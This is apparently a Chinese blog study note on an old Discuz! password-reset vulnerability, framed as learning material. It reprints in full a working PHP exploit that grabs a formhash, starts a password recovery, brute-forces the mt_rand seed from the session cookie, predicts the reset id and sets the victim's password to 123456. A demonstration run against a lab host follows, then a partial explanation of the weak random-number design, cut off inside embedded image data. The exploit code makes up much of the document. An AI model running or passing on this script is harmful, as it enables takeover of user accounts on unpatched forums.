关于 SSV-ID: 4474 POC的分析和思考

时间:2023-03-08 20:25:08
关于 SSV-ID: 4474 POC的分析和思考

SSV-ID: 4474

SSV-AppDir: Discuz!漏洞

发布时间: 2008-11-21 (GMT+0800)

URL:http://sebug.net/vuldb/ssvid-4474

很老的一个漏洞了,只是作为学习渗透的一次材料罢了,用了它的poc,直接可以用了,感觉很神奇的同时想分析它的原理。不是什么很高端的东西,大神呵呵就好,我权当做一次学习笔记。

1.

  1. <?php
  2. print_r('
  3. +---------------------------------------------------------------------------+
  4. Discuz! Reset User Password Exploit
  5. by 80vul
  6. team: http://www.80vul.com
  7. +---------------------------------------------------------------------------+
  8. ');
  9. if($argc <6){
  10. print_r('
  11. +---------------------------------------------------------------------------+
  12. Usage: php '.$argv[0].' host path user mail uid
  13. host: target server (ip/hostname)
  14. path: path to discuz
  15. user: user login name
  16. mail: user login mail
  17. uid: user login id
  18. Example:
  19. php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
  20. +---------------------------------------------------------------------------+
  21. ');
  22. exit;
  23. }
  24. error_reporting(7);
  25. ini_set('max_execution_time',0);
  26. $host = $argv[1];
  27. $path = $argv[2];
  28. $user = $argv[3];
  29. $mail = $argv[4];
  30. $uid = $argv[5];
  31. $fp = fsockopen($host,80);
  32. $data ="GET ".$path."viewthread.php HTTP/1.1\r\n";
  33. $data .="Host: $host\r\n";
  34. $data .="Keep-Alive: 300\r\n";
  35. $data .="Connection: keep-alive\r\n\r\n";
  36. fputs($fp, $data);
  37. $resp ='';
  38. while($fp &&!feof($fp)){
  39. $resp .= fread($fp,1024);
  40. preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);
  41. if($hash)
  42. break;
  43. }
  44. if($hash){
  45. $cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
  46. $data ="POST ".$path."member.php HTTP/1.1\r\n";
  47. $data .="Content-Type: application/x-www-form-urlencoded\r\n";
  48. $data .="Referer: http://$host$path\r\n";
  49. $data .="Host: $host\r\n";
  50. $data .="Content-Length: ".strlen($cmd)."\r\n";
  51. $data .="Connection: close\r\n\r\n";
  52. $data .= $cmd;
  53. fputs($fp, $data);
  54. $resp ='';
  55. while($fp &&!feof($fp))
  56. $resp .= fread($fp,1024);
  57. fclose($fp);
  58. preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
  59. if(!$sid)
  60. exit("Exploit Failed!\n");
  61. $seed = getseed();
  62. if($seed){
  63. mt_srand($seed);
  64. random();
  65. mt_rand();
  66. $id = random();
  67. $fp = fsockopen($host,80);
  68. $cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
  69. $data ="POST ".$path."member.php HTTP/1.1\r\n";
  70. $data .="Content-Type: application/x-www-form-urlencoded\r\n";
  71. $data .="Referer: http://$host$path\r\n";
  72. $data .="Host: $host\r\n";
  73. $data .="Content-Length: ".strlen($cmd)."\r\n";
  74. $data .="Connection: close\r\n\r\n";
  75. $data .= $cmd;
  76. fputs($fp, $data);
  77. $resp ='';
  78. while($fp &&!feof($fp))
  79. $resp .= fread($fp,1024);
  80. if(strpos($resp,'您的密码已重新设置,请使用新密码登录。')!==false)
  81. exit("Expoilt Success!\nUser New Password:\t123456\n");
  82. else
  83. exit("Exploit Failed!\n");
  84. }else
  85. exit("Exploit Failed!\n");
  86. }else
  87. exit("Exploit Failed!\n");
  88. function getseed()
  89. {
  90. global $sid;
  91. for($seed =0; $seed <=1000000; $seed ++){
  92. mt_srand($seed);
  93. $id = random(6);
  94. if($id == $sid[1])
  95. return $seed;
  96. }
  97. returnfalse;
  98. }
  99. function random($length =6)
  100. {
  101. $hash ='';
  102. $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
  103. $max = strlen($chars)-1;
  104. for($i =0; $i < $length; $i ++)
  105. $hash .= $chars[mt_rand(0, $max)];
  106. return $hash;
  107. }
  108. ?>

2. 演示

poc不用做任何修改就可以直接使用了

php.exe DiscuzResetUserPasswordVulnerability.php 192.168.174.131 / little 306211321@qq.com 2

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAApsAAADdCAIAAAB7bi5rAAAXCElEQVR4nO3d+XYUV2KA8XqlxJ5xPBn7GSY5jD0EswohtICQxCLAkzHjiZO8Q5aZnHgCEsaYRYC21r5gs5pdSIBa+9Zqra2tKn/0Qqur6lbVrZJuq/v7nTo+ravqW7cKn/6oBjWaMXjTGLxpDN4wBq/HNz3af77gUw0AAGy7WCwWDodHR0enp6cjaWZnZ+P/TYlGo3NzcxMTE+cLPtVn+zQjfNMI3zTCN1KbPkfRAQBQw0/R64xwXXrX9egARQcAQAkfRR+6ZQzVvd/CdfrcG4oOAIASkkWPvo4XPbmFb1F0AAAU8lP0O8bQHWPotjF0O951ig4AgCqyRe/XjOH6jKhTdAAAVPFR9KFU0RMbRQcAQBXZog9oxnBD2lZvDN3R595SdAAAlPBT9Mbkloi6Pk/RAQBQw0fRR5qMkSZjpNEYSaRdn39H0QEAUMJP0ZuTUU+knaIDAKCKbNHfaMZoyBhpTm5NxkiTPj9I0QEAUEKy6HNvNGMklNwSXafoAACoIlv0t5ox2pLcQsZoyBgJUXQAAFTxUfSxNmOs1RhrNUbjW4u+EKboAAAoIVv0d5ox1m6MtRtjbam0U3QAAFTxUfTxDmOsI73r+sJQetENwzAMQ+G5AQCQhbaoj5JFnx/UjPEuY7wzuXUYYx0UHQAAR1lV9I35Qc0Y7zbGu43xruTWqS8Ox4tumFgOMs4444wzznj+jNv1MSiyRQ9rxkSvMdGT3LqNie5U0dPXHeBaAQDIAVvUR9miD2nG5F1j8q4x0ZvcevTFEYoOAIBYdhV9YVgzJn9MbneNibvGRK++OMrfdQcAQAn5ouuTP+mTP+mTP+oTdxMbRQcAQBE/Rb+Xtv2kT/6kL45RdAAAlJAt+oimTz3Qpx7oU/f1qfv61D198h5FBwBAFR9Fn36oTz1Mdv2BPvVAXxqn6AAAKCFZ9MVRTZ9+rE8/0qcf6VOP9KmH+tRDig4AgCqyRR/T9JmfE9v048S2NEHRAQBQwk/Rn+gzTzZ1fWmSogMAoIRs0cc1feZpcnuS2JYpOgAAasgWfULTI8/1yLNN2/LU+YJPHT+xVslnybk/6JZ+6K4E8wcCb+dxs+c6OHK5TsHnLUsf0dMMO+JiAtiJJIu+NKHpkRd65Hnalii6lvaaZfnitf2vaF5febchou7nVFV0tYeW43KRGbv5PK9Aip791xZA9pMt+qRmRF8Zsy/Tthd6bDqj6Fp2lCDbiu5pTorunlzRt+eg27YeAHlLsujLk5o++yq5vUxsTkW3K6uncTeTWz7Ff9EDXL/7JdktRvq45nkUXgfBsdyv39P1NB9LvJ6MB+b5A7kOntYPAJZk79GnND3ap0f79Nm+92mPzbi5R3d8KZd+bHcIyxEBy1fYoB7LLSbY47qMh+V12J61uV+/YH+v52U5p+MhPO3sZgYAkOOn6K+TW7zrfXJFtxyxG3Sc3OtslgS1EJfAPIn7/R0XY36i3HHNp+bm0IJDuNzfbjBjPY7n635/N+eVsb/5pBwPIbgI4hMXjACABNl33ac1PdqvR/s3dV226JbjbnZz+RSvLA/hOLn7xXhap9dCBHVcN4dzWSzxOjMur9dfX8f1uDyv9G8J/o8Vf9fNehxnAAA5Poo+N6DPDehz/cm09+uxiMTfdbd7BfTzWLO593J5USynDXZtguvjZjE+jytxHbZ0PX7WL9jf5XmJf60dD+FpZ/EMXn+BACCdbNFnUkVP63osIv55dMPEPG63v+W4Zno1FD/FzRWxXJvPdZoPbTcuXpKf4woW4+mgms31l16nZhNF9+u3W4/jeQmeaHdedkvyeh3sphKsHADE/BT9rT73Jm0b0GOzfGYccg+tBbAj+Cz65qhTdOQcwXsDAJBVJIsei2j6/NvEluo6RQcAQBH5ohvz75Lb2/imr0QpOgAASvi4R099VNzsi8S2PE3RAQBQwsfnug/UGgM1xsAlY+BifNMjLyg6AABKyBV9ffqpZjz+d+PxvxmP/tV4FP/vN/rEXYoOAIASckVfG+nQjEffGI++MR7+i/HwT8bDr40HX+vjPek/j+5/cS5/rjfw+QEA2HEkiz7crqXl/E/Gg6+NB3+MF10L6Od3zR/ZYX4cyLEoOgAgB8gWvU3LyLmSogdyh03RAQA5wHfRH3ydLPqFjKLbfdSl+bGl9KdbPjHjEO5/B2B5IF9XEQAA1fwUPfHH5/GcGw8u6OPd4n97zVPRNZs/505PuGYKvMRBKToAIAf4KXoy5/cvGPcvGPe+0seCLLr5Xjx93Bxyig4AyGfyRdfvf63f/6N+/4J+/4J+7yv93h/0se5zBZ9oQRfd8rH5WxQdAJDP5Iu+ce/Cxr0LG/e+2vjpD4ltrOvcIVHRNdMdtoDLKgtu3x2fKxgEAGBnkSz6UKu2+uNXaz/+Ye3Hf167G99+vz7aefbgJxk3zZaxdBlRu/wbmznOnL6n3e8A6DoAYEeTL3qs58tYz+9Xer9c6flypft8rPvc2kjnmQO/djwk7QQAIHDyRV/oPL/YeX6h8/xi57mFzrMLndUrwx2n9v+93ZG4FQYAYOvIF30mdCbScma25XR8i7ScWg63Ve39WPUZAQCQj+SLPlZfOd5QNZnYKicbKhfftZzY83eqzwgAgHwkW/QW7d3N4+G68qHb5cO3jse3+Teh47/7peozAgAgH8kVfXWoRXt9tWzgWtmba2Vvr8e30mh/c9nnv1B9RgAA5CP5oj+/fPTlleK+KyWvvy95/X1J//fFkb6mkt9+qPqMAADIR/JFf1Jz5Nnlohe1RS8vH335XdGry0UzrxqLd2Vd0fkL9ikSP98fyPwAgG0gW/SQ9vhS4ZNLhU9rjjyrLXxee+RF7ZHpV43Fuz6Iz5tVr+mCxngd97mMbTuW5VEMj5/B5/9AAIBtI1n0cEh7/H+Hf754+Mmlw09rCp/VFj6vKZx+2Xh01wfatryme7oXtNvT67if9QR4LDluih7IHTZFBwAlfBT9Yqroh5/VHH5WUxi/RzdMUgeze1fWcWfBU9ycZGpPy3plTCUetzu0eD1237KcX7BmN+Pii2B3HTTTr4Ld2gRrdrkS85LsLqb5BO2eAgCQL/qTS4VPawqf1hQ+qzn8vKbwRe2RmVeNxb/9UHPxQu+pcJYB88RNqOyW4fUU5GYTfOl13HElggnt5nfz2NNKJOYP8P8HAMhJ8kV/cfnIy9qil7VFry4fefVdUd+VokhfY6lT0QVRyRgP8BXcU5Bcjkt0SzzuWFaX444rsbzOltM6XjTLgwZ4Zbbo/wcAyEnyRe+/WjxwtWTgavHA1eKBH0oGrhXP9jeVff5LzeMLvdwreEaWxDwFSWKpduvxNL/d+Xodl7sIlpfd8aKJT0TM60X2er4AkG/kix6+XjZ4oyx8oyxcVzZUVzp8q2z+Tah890eajyq4fwXP6JCYm0OYJxeMu1mPm2LZfcvresxzitfjeCIZk7i8CI6DXtdj+djulAEgz8kXfexO+fid8vH6ExP1JyYbyicbTiy+a6nck/iXWsyv4JpNITJ2dqyXVxlHtJzWTYEy1u+4GLsdBE90PHeX427W7/K8HC+O+dpaTiW9HruVuPklAIC8Ilf0lcGQNt1cOROqnAlVzbZUzrZUzbZUxcJtJ/f9SvUZbSEqAgDIWvJFn2s9Od92ar7t5ELHqcX2U0sdp1eH288csP330Xc6uxtKAACygXzRlztOxzpPx7rOrHRVr3RXr3RXr420Vx/8RPUZAQCQj+SLHus6tdp9ZrX7zFpP9VpP9Xrv2Y3RjrOHKDoAAAr4KvpK9+m17ur1nuqN3rMbvdX6aMe5AooOAIAC/oredXqtp3qj96x+96x+96w+2nG+4FPVZwQAQD7yUfTOkytdp9d6zqz3ntm4W71x96w+RtEBAFBDtujNWqzj5ErXqdXu02s9p+NRp+gAAKgiX/Tl9spY58mVrpOr3acSUedddwAAFJF/132prWK5ozLWWbXSdWqt+/R6T2bR+dFtAADMtqiP8kVfbDux1F4R66hM3aZvjLZTdAAAxLKu6PMtxxfbTiy3V8Q6q+JRXx9JFN3y873Ng4wzzjjjjDOeP+N2fQyKj0+BDR1b2Bz1VNHT1x3gWgEAyAFb1EcfRW8umw8dW2gtX2o/sdxRudJZtTbcRtEBABDLuqJHm8vmQsfmW44vtpXH/0A9o+gAAGDbSBY9HNJmm0rTon5iub2CogMAoIpc0VfDIW22sSTaVJp87/34YtuJtaFWig4AgBK+ip5+m77QWr461ELRAQBQwlfRI5ujvhKm6AAAqCFf9EhjSaSxOP1OfSUcougAACghWfShFi2R8/jWVBptLqPoAACo4qPoDcWRhuL3XW8qjQ1SdAAA1JAr+ppN0ZspOgAASgRQ9Ejyvfd40QWfZxss88xBHXGrVx6gHbFIAMA2kC16a7Loia6XzDaWxN41p/9LLaljbFvRBePu12D+SH0/i9xSO+h3HgCArSZZ9GEvRd9mdvfuEk/P8lhSdABASkBFbyiONBZbFt2ujqkvMx6Y9/H67rpgEjfxczOtz3Vu9TgAIA9tYdHtCq3Z191uH8touUmveE87gnxmz2O5UwMA5Krgit5QvPyuSXCPnvrSZSwVFt3yWe4r62Y8ncQZufkWACCvyBa9zW3RM2R/0d2U23/RXS5A+iwAAPlGrujrnoourrW2jUV3E0U/Rd/Ox+KLAADINz6K3mhddMOK5qLi6Tubx9MXbTm/YDz9W24uiuNxBev3NI/PcY2iAwCSJIs+Yl90iUWQJQAAfFJfdMENKAAAcEmu6Bsj7dpsY/FsY3F616Xv0QEAgE+SRR+l6AAAZJMgit5I0QEAUMxv0RNdp+gAACgVUNEbKToAACoFU/R41NN/Hj0++3b+DXbLH0APfP4d9Dfzd8o67dit3Os4AOQJuaLrox3abFPJbGNJ/hRdc/r4tiy0IxZpyW7lXscBIH/IFz3aVBJtKkm/Tc+Gom/poXOg6Nl/4273LojXcQDIN/6L/j7qMaeie3pRTh9x83qdMYl5GZbz230pOITdY58REnzp9foYm1keWnymytkt0us4AOQPv0WPNpXMJu/UxUX3+jj9SzcdMqxIHMv9Iex22Ipzd399BPvvIG6usJtxAMgf21d085fpg5altAuVJXPezF9ars3l/IJ9xOt3OY/dehyvp/v9dxBPl04wDgD5I4Cip6LuWHTLQcFrsaeXafNxxakOquhez9duXLrontaTfmWyGUUHAK+CKXr8D9S37l13NwSBdJzf5YE8FdTP+fq5PhQdAPJTcEVvShRdC/Rvirl/pRbUTnxc83MF8wsiahdjr9fB7lzcXx+79ewIhoncOADkm8CKHm0qiQ0285lxAAAoQdEBAMgFFB0AgFwgWfQxig4AQDah6AAA5AKKDgBALqDoAADkAooOAEAukC/6XDNFBwAgW/gq+hxFBwAgO1B0AABygb+iN5ekv/dO0QEAUIWiAwCQCwIo+lxT4u13ig4AgCryRZ8Plb6PejNFBwBAJYoOAEAu8FX0+ebS+eb3XafoAACo4q/oIYoOAEBWoOgAAOQC30VP6zpFBwBAlYCKHiqdby6l6AAAqBJc0UMUHQAAZYIs+gpFBwBAEfmiL9gU3bCi+jQ9cFzzFp3RVl8rr/P7+UX0eiDBoaWnBYB8E3zRNdMrr+OrsKqXabvjBlV0r+clEc6tm186n55+ByDONlEHAPd8FL059QkziS022Hyu4BNN+LKbVfdedscNaj1bemu71fvLXQT39/RubsQt5yHqAGDJ52fGbfon0mODzecOZRbd8vXazct0xoj5hd5yB/O3Uo/d/2bCch6Xx3V/XnZTWZ6s+/UHNb/l6YhZzu/yKZ6+K7E2AMh5vv7ttWhTcbSxeLahONJQHGkoXn7XdPbg+6LbRc6OXX4svzQPpufE7luW84hHHPd3rKD7+dOv2Fas39P8xmaaE8fr4Pgs99/ydAgAyBPyRY82lkQajs7UH52uL5q+XTR1u2jpTeOZA7/WhPfoYnZpsfxWRmwc9zc/tjyu4/6edvb0FK+PVc1vybAifopgZvHTXU4OAHlFvuiR+qPTd45M3ToyUVc4dvPw6I3D8/0Np/b9SvP+5+jmHTIeWI7bPXa5m91xHfd3mU+J+b0+3rb5xb9k4sVI7Cl+utfFAECekC16pzZ1u2iirnDsxuGRawVDPxwavHog2nencs/HmlXz0h87viKndjA/cPPY/VMcj2u5v/ns3EwufToBrt/rZXS8CI4rcdxffHkdLz4AIEW+6BN1haM3CoauHnx35cCby/tf1+ydeXG7fPdHhhWvy8qISsYk6dOK98nY33Ex5pktj2u5APMaxOeVMb/llxLrD3B+wUEFixFPZbmbYDHmp2QcrsWG4CoBQE6SL/rI9YKhqwffXtnfX7P35cU9z//6T5PP6so++4XqM7LgGMJt5nU92bZ/VqHoABAnX/Tw1YNvr+wfqN376uKeZ9/ufvyXz8ee3Cje9YHqM8okuNFUwut6sm3/bEPRASBOvujvrhwYuLzvdc0XL/66++f/+fz+f+0afXy96B//VvUZIb9QdACIky/6m+/299fu7bu45/m3v3v8589++o9dw4+uH/mHv1F9RgAA5CP5ovdf3ve65otXF/c8+9/3RS/8DUUHAEAB+aIPJIv+/Nvdj//82b3/3DXymHt0AADU8PGu++V9/bV7+y7tif85+oP//mzs5xv8OToAAEr4+Ztx+wcu7+tPvPG++/FfPh9/erN414eqzwgAgHzk46fXfjg4ePXA2+/29dfufXXxi2z+eXQAAHKefNFHrxeMXDs0/MPB8PcH3n63v79238zL2+W7P1J9RgAA5CP5ok/eKhy/eXjsRsHo9YLha4eGfjgUfV1f+cXHqs8IAIB8JF/0SP3Rmfqi6dtHJm8dmagrHK8rXBxojP/bawAAYJvJF32uqSTaVBJtOBppOBqpPzpTf3TpbVP830cHAADbTL7oC6HShVDpfFPJXHKLDTafPfiJ6jMCACAfyRd9qaVssaU0vsXrvjLYfO4QRQcAQAEfRW89ttRaFt8WW8oWW8pWw6FzBRQdAAAF5Iseazu2nNjKllvLllrLVsOh8wWfqj4jAADyka+ix1JFbytbpugAAKgTSNGPUXQAANTyW/T0O/W1IYoOAIAaPoreTtEBAMgWARb9GEUHAEAV+aKvtB9Pj3qMogMAoI6Ponccz4g6RQcAQBX5oq9SdAAAsoaPoneWr3aUr3Qcj7Ufi3edogMAoIp80dc6y9c6y9+/995O0QEAUMZH0btOrCVv0+NRp+gAAKgiX/SN7opE1DsT771TdAAAVAms6Cvtxyk6AACq+Cr6enfFelrUKToAAKr4KHpPxaaod5SvDVN0AADUkC+63lOZivpa54nVzvJ1ig4AgCK+ih7fNhK36SfWh1soOgAASgRU9O6K9S6KDgCAMgEUPXWbTtEBAFAloKL3VGx0V2xQdAAAFJEvutGbXvTKje6KjZFWig4AgBLBFD3RdYoOAIAivoqeEXWKDgCAKn6KXmX0Vm2KOkUHAEARig4AQC7wX/S0qFN0AAAU8fnn6BQdAICs4PdvxiW7Xqn3UnQAAJQJquhVBkUHAECdQIpeSdEBAFArqKJXGr1V+ihFBwBAjWCL3kbRAQBQIsCiV1J0AABUCbbovOsOAIAaFB0AgFxA0QEAyAUUHQCAXEDRAQDIBRQdAIBcQNEBAMgFFB0AgFxA0QEAyAV+il5B0QEAyBI+it5TkRF1ig4AgCoUHQCAXOCv6JujTtEBAFCFogMAkAt8Fz0R9QqKDgCAQkEUvYeiAwCgGEUHACAXBFT0ngqjt4KiAwCgSnBF76HoAAAoI130/wcWaBBZcUqT/AAAAABJRU5ErkJggg==" alt="" />

目标用户的密码就被你修改了111了。

3. 代码分析

我们现在来一步步分析这个漏洞成因和这个poc的利用思想。

这个漏洞利用的DZ的密码找回功能来对目标用户的密码进行非法修改的,但是系统是怎么区分是不是那个用户本人在进行密码找回呢?DZ是利用一个伪随机数算法的的随机不可测性来保证用户的真实性的,即DZ基于这个伪随机数生成函数的算法生成的id_hash来进行身份认证。但是问题也就在这里了,这个算法的随机性强度不够,导致可以通过暴力猜解的方式逆向推测出这个id_hash。

首先,poc做的第一件事是去获取一个formhash:

$data ="GET ".$path."viewthread.php HTTP/1.1\r\n"; ....

preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);

因为DZ为了防御CSRF攻击,对每个表单都设置了formhash,这样就有效防止了跨域的CSRF攻击(虽然也有方法绕过,但这不是这次分析的范围了)

在include/global_func.php函数库中有关于formhash检查的函数实现代码:

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAApEAAAE9CAIAAADcf66UAAAgAElEQVR4nO2dW8xdR3XH9/k+O4mQKtSHSry0D+W5D7xVFRBoAuRCuCkXiImpXWwcx1GTFPWBIlqJi7iEUm4pajEQ7pC2RAgIECihECAhxIQQkubSXBsnjm0wOMZgyacP5/Px/vbMrFlz2WfP7PP7aSnanj2z1po1s+f/7fNd0jSvfWhmk9f932Trvsm2fSvbD0x2/HJl16GVXYdWrzxi2uzWyq5DGy89vPHSwxu2P71h+9Mbth3CMAzDMKw/a5qX391c+D8nZXu9clttZfuBle0HVrceWN16YLIZwzAMs9lrn8SwvNbc8Om//sB73vnF3Tve/673fO7D2z9w9TXXffTKj/7rjW/6uy0rr/7xTLznNtm2b7J13+SvnlyzzU9OXvtkc/FeDMMwDMN6ty9c+y/f/MmDN97w8W/++P7Pf+ET192292s3ffuLdx3e8fZrVs67frJt35pObz2h1pufbDY9vmZzLxc91lzwKFayTafT6XSaOFB2Eh0CwzAMU9nXH/v19w7+/uuPH772kSc+dP8TH3nwN+974Mibf/abV39236nnfW6dWs9frDuajWBXYnNNndpo9/Ei+H/Gs946+EwxDMPGaR988MDHH9x7zf3733bXI2+587G//+neK29//PU/2Pf6G4//yUUfnWzdt7ql9WG4+Xn4RY+t2QmP3pO9bfqecf4TR2W3wXN4xrPeOtPU2cXMOlrbvtW+2zHX7NBsDMOwvuxtdx7453sOvOPOg1fc9tDOWx+77JZfvu4HT533rb2vuuH4S9950+pFd65u2be6Zd/q5idntvZt8NecsAufaC58orng8batl4HHZdP3jPPfDhERK7uVkIM3JfENuztQZvDZYRiGjcfeftejb7xt/9/eduiS7z9ywXcfvvCm/S//r4Mv+Mres//98OVfO3Taudetbj1gke2Ln5pc/NRJzTZku1fNDh3V7nziHXGwig+i2bKIujS7855tzbzzOj61v5EPVm0Mw7BR2ccefGjzd3+1+fsHzv32Iy/55mPnfn3fi7+69/TrHj5r9+NvvOn4n1587YbX/3L2a12rW/ZNNh+YbDo42XRwptndN6q5fl/4xMnz3WjsdPY6Mdtd/k2zvPatb3dde/MxU9LEdTmR42YxU307zItpvWt2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